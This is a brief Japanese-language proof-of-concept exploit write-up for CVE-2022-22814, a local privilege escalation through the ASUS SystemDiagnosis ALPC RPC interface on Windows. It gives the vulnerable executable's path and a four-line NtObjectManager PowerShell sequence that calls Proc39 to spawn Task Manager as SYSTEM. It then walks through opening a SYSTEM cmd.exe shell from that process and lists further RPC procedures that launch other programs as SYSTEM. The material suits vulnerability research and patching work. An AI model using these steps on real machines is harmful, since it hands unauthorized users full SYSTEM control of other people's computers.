
CVE-2022-22814の概念実証エクスプロイト。脆弱なASUS SystemDiagnosis ALPC RPCインターフェースを介してWindowsでローカル権限昇格を実証します。
権限昇格 - AsusSystemDiagnosis.exe - Proc39()
Full Path: C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe
問題:
AsusSystemDiagnosis.exe によって公開されている ALPC ポート \RPC Control\ASHWTestServer は、すべてのユーザーが完全にアクセス可能です。このポートを介して RPC 経由で Proc39() を呼び出すと、現在のユーザーのセッション内で taskmgr.exe プロセスが SYSTEM として生成されます。
悪用方法:
Project Zero の NtObjectManager RPC ツール (https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools から入手してください。コンパイル済みリリースを使用してください。) を利用すると、脆弱な RPC ポートに接続でき、そこで Proc39() を呼び出すことができます。SYSTEM 権限の taskmgr.exe プロセスが生成されたら、コンテキストメニューの [新しいタスクの実行] 機能 (ファイル > 新しいタスクの実行 > cmd.exe) を利用して cmd.exe シェルを作成できます。
NtObjectManager:
$server = get-rpcserver C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe
$client = get-rpcclient $server
$client.connect()
$client.Proc39()
権限昇格 - AsusSystemDiagnosis.exe - Proc40()
上記と同様ですが、mmc.exe を SYSTEM として生成します。新しいタスクを作成するか、参照機能を使用して explorer.exe ウィンドウを開き、アドレスバーから cmd.exe を実行できます。
追加メモ:
Proc53() - systemreset.exe を SYSTEM として生成 Proc54() - RecoveryDrive.exe を SYSTEM として生成